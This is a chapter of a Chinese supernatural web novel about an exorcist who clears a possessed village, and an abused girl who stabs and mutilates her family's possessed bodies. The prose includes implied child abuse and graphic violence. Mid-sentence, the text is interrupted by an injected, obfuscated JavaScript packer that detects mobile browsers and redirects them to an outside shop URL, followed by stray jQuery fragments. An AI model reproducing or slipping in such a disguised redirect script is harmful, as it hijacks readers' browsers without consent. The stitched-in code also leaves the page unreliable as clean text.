5. 怪人

作品:《阴吏

    毕竟,赵真仪平时从不会露出这般笑不及眼底的神情。


    虽说,他无论是对弟子还是旁人,总是带着一副不着调的模样,但却也有着温度,眼前的赵真仪神情令人陌生。


    赵真仪走到村头,环顾四周,随后目光定在坐在槐树下的二丫。


    他取出怀里一包油纸包裹着的糕点,那糕点闻着就带着一股甜丝丝的奶香,气味扑鼻。


    他俯下身递给才到他腰际的二丫:“小丫头,你叫什么名字?”


    二丫先是露出了怯生生的神情,随后缩了缩身子。


    她在闻着那甜腻香气时,眼底极快的闪过一丝嫌恶。只是那抹神色转瞬即逝,赵真仪并未看真切。


    但二丫很快恢复天真的笑容,快速接过糕点,乖巧的回应:“我叫二丫。”


    赵真仪眼尖的瞥见二丫接糕点时袖口下露出的半截胳膊,他蹲下身,温和的问:“二丫,能给叔叔看看你的胳膊吗?”


    二丫犹豫了片刻,像是在与什么无形的东西作斗争,最终还是挽起袖子,将细小的胳膊递给赵真仪看。


    赵真仪蹙起眉心,那新伤覆盖旧伤的痕迹,绝非一日两日而形成。


    二丫睁着一双大大的猫眼,一眨不眨的盯着这个陌生的男子,她从小就不受喜爱,因而对其他人的目光更为敏感。


    她没念过什么书,不知道该如何形容。


    只当男子的目光就像是那种,村里人看快死的小猫小狗一般。


    这种目光,于她而言既陌生,更令她无措,又或许还有一丝讨厌。


    “这是怎么弄的?”赵真仪依旧温和的笑着,说话语气都不自觉放轻了。


    二丫指了指疤痕,声音平静:“家里要吃肉,这就是肉。”


    许初与二丫不同,她将赵真仪眼低的情绪看了个真切,那是难以置信,以及怜悯。


    赵真仪轻轻的摸了摸二丫的头,旋即起了身,正了神色,他从袖口抽出一张黑卷,用法力催动。


    此时此刻,许初确信了,这不是她师父赵真仪,又或者说,不是她平日认识的赵真仪。


    这个幻象里,本身就存在赵真仪。


    可能在很多年前吧,存在于这个叫二丫的小孩的记忆中。


    事情变得有趣起来了。


    若是赵真仪从前就来过这个村子,还是手持黑卷来的。


    那么他们这次以红卷进无间,到底为何还残留着当年黑卷的痕迹?


    按理来说,黑卷的卷活早该被赵真仪了结了。


    许初继续看着眼前,那黑卷便化作金光,将这一整座村庄笼罩其中。


    在赵真仪施展之时,二丫也低头尝了尝手中的糕点。


    很甜,甜的发腻,就像当年罗大仙送给她的糖。


    甜到令人作呕。


    二丫终究也才是一个九岁的小孩,并不能完美的掩饰面上的情绪。


    赵真仪结束施法回过头,正看见二丫面色发青,他问:“怎么了?不好吃吗?”


    二丫摇了摇头,强装无事:“没有,很好吃,谢谢叔叔。”


    赵真仪只当她不爱吃甜糕,便没有继续追问下去。


    转而,赵真仪又轻声问道:“二丫,你想不想离开这个村子?”


    二丫的瞳孔倏然一缩,她下意识的后退半步,嘴唇嗫嚅着,最终只是喃喃重复道:“走不了的……走不了的。”


    赵真仪笑了笑,他的声音虽温柔,却带着一种不容置疑的力量:“我可以带你走。”


    这话像是一道微光,让二丫抬起头正视赵真仪,然而那光几乎瞬间就被更浓郁的恐惧压灭。她像是忆起了什么,把头摇的像拨浪鼓:“不……我不走。”


    赵真仪并没强求,只是又不慌不忙道:“若是我能带你走,你愿不愿意同我离开?”


    二丫不再回话,她沉沉的望着赵真仪,眼里带着审视与困惑。


    她觉得这人是疯了,他根本不知道他们这个村子里有什么。


    想起那供的东西,她像是一只受惊的小兽,猛地把糕点塞回赵真仪手中,扭头便往家的方向跑去。


    狂奔到家门时,二丫与正要出门的常青撞了个满怀。常青趔趄一步,待看清是她,脸上瞬间布满毫不掩饰的厌恶,想也没想便大力将她推开。


    “起开,没长眼睛吗?别挡道!”


    二丫对此早已习以为常,只不过身体先于意识做出了反应。她踉跄着向后跌退几步,迅速让开路,垂着头,用细弱的声音慌忙道歉:“抱歉,兄长。”


    紧接着,常穆先和刘春明也相继夺门而出,两人神色匆匆,目光只在二丫身上掠过,仿佛她像个路边无关紧要的杂草。


    二丫心头虽觉疑惑,却也想不明白发生了何事,不过很快她就不想了。


    毕竟在这个家里,家人外出做什么,从来都不是她该过问、也无需知晓的。


    二丫照例热好午间的剩饭,默默等到日头垂下。可直到夜色深沉,都不见一人归来。


    夜里静的可怕,平日里,窗外总还能听到些细碎的虫鸣,可这一夜,静的离奇,仿佛声音被抽空了。


    小孩的精力终究是有限的,二丫熬到三更便撑不住,浓重的困意袭来,蜷在榻边睡着了。


    次日,鸡鸣破晓,晨光微亮,从窗纸透进屋内。


    二丫很快就醒了,倒也并非被鸡鸣或是白光唤醒,而是这个时辰,她该起身同母亲一起准备早膳。


    可今日,屋里依旧一片死寂,听不见母亲下榻、走去厨房的半点动静。


    二丫轻轻换了一声:“娘?”


    回她的只有满屋的凝静,她又试探着喊了爹和兄长,依旧没有人回应她。


    二丫出了内室,目光落在桌上,昨夜热的饭菜原封未动,连碗筷都摆放的整整齐齐,显然没人碰过。


    她轻轻推开父母的寝屋,又转身绕去兄长的屋子。都是空荡荡的,仿佛从昨日他们出门后,就没回来过。


    难以言喻的解脱感混着隐秘的期盼在她心里窜动,二丫脸上闪过一丝宁人费解的兴奋。


    此刻,她忽然神差鬼使的想起昨日那个古怪的叔叔说的话:“若是我能带你走,你愿不愿意同我离开?”


    直觉告诉她,家里乃至整个村子,即将发生一件翻天覆地的变故,而这些变故多半会与昨天那个神秘的叔叔有关。


    二丫囫囵用舀了一瓢水,简单抹了脸,便披上外袍从小院出去。


    顺着二丫的视线,许初察觉到笼罩在村子上方浓郁的阴气已经散了大半。


    估摸着赵真仪连夜便着手处理了这里的情况。


    赵真仪这人虽说平日里没个正形,不招人待见。可他为数不多的优点就是一旦接了什么活,便出人意料的可靠,且雷厉风行,绝不脱离带水。


    按照这个进展,赵真仪今日便会了结他手中的黑卷。


    想必昨日不止二丫家的人出来了,其他家的也出来了,他们该是得到了穗秋神的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17011055|194134||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    指示,要么是去围剿赵真仪,要么就是将他驱逐出村的。


    二丫沿着村路向村头走去,沿路随处可见倒在地上的村民。


    越靠近村头的老槐树,倒下的人越是密集,树底下更是层层叠叠瘫倒了几十来号人。


    在二丫看来,他们都像是睡着了。


    许初与她看的不一样,这些人,或者说这些附着在生人体内的邪物已经被拔除了。


    而令人费解的是,那些本该回归肉身的魂魄,此刻居然都没有回去,它们像是被一根棉线牵着,悬吊在躯壳的上方,浑浑噩噩的飘着,也有个别的,没失去意识,看到地上倒着的自己,几乎要把自己的魂都吓没了。


    因而地上躺着的都是一副没了魂魄的躯壳。


    只是一堆魂魄飘在天上,持续不断的发出呜咽、碎语等,混杂的多了,难免听的人心烦意乱。


    二丫脸上不见半分惊慌,可能这些年见过太多离奇的魂魄,又或许是魂魄再诡异,也诡不过活人心中的恶,因而她并不怕。


    她平静地在一众躯壳里找到了爹娘,随后她蹲下身,用手戳了戳娘冰凉的脸,又碰了碰父亲的,最后走到常青身旁,扯了扯他的衣袖。


    三具身躯毫无反应。


    她顺着白线一路仰望至半空中牵着魂魄,爹娘和兄长的魂魄就悬在那里。


    他们似乎还残存着意识,因为回不到身体里,只能无力的发出模糊的哀嚎,像是在让二丫去求救。


    二丫静静地望着,嘴角忽然弯起一抹近乎天真的笑意。


    正常的魂魄是无法伤害人的,只有怨气过重的鬼魂,才能对生人有实质的危害。


    这是她从前在罗大仙那里听来的。


    这次,她没有听从上面那三个人的任何一句话。


    她直起身,先是一脚踩在常青那张总对着她颐指气使的脸上,一脚又一脚,一次比一次用力。


    常青的脸很快被碾破,只是伤口处没有流血,只有粘稠的黑色的液体流出,仿佛他的内里早被这些东西灌满。


    当空中的三人看清二丫在干什么,几乎嘶叫了起来,他们的魂体剧烈扭动挣扎,可惜,沦为魂魄的他们什么都做不了。


    二丫充耳未闻般的,紧接着从袖口抽出一把小刀,这是她平日里帮母亲打下手用的小刀。


    她以刀身比划了一下常青,似乎在找落口。而下一刻便一遍遍划在常青的躯壳上,不知疲倦。


    可这仍不解恨,她双手握紧刀柄,狠狠捅了进去,黑水迸溅,浸湿了她的衣襟,也沾上了她稚嫩的脸颊。


    她完全不带停的,直到常青面目全非,她才转向下一个目标,这次是她的父亲。


    赵真仪清理完村里的邪物折返回来时,看到的便是这么个骇人的景象。


    他自诩游历人世间多年,见惯各式各样深仇大恨,早已见惯不惊。可眼前这一幕仍让他觉得惨不忍睹。


    虽说这些人的躯壳已被夺舍多年,可捅成这样,肯定也用不了了。上面这三个魂可以直接回黄泉了。


    到底跟这几人有什么仇什么怨,把人躯壳凌虐至此。


    而且,她不过一个稚龄孩童。


    赵真仪上前俯身按住二丫执刀的手,宽厚的掌心裹住她沾满黑污的小手。二丫这才迟钝地转过头来,她被溅一脸黑水,唯有一双眼睛亮晶晶的。


    “叔叔,你来啦。”她咧开嘴,露出了一个天真又扭曲的笑。“您昨日说要带我走,还作数吗?”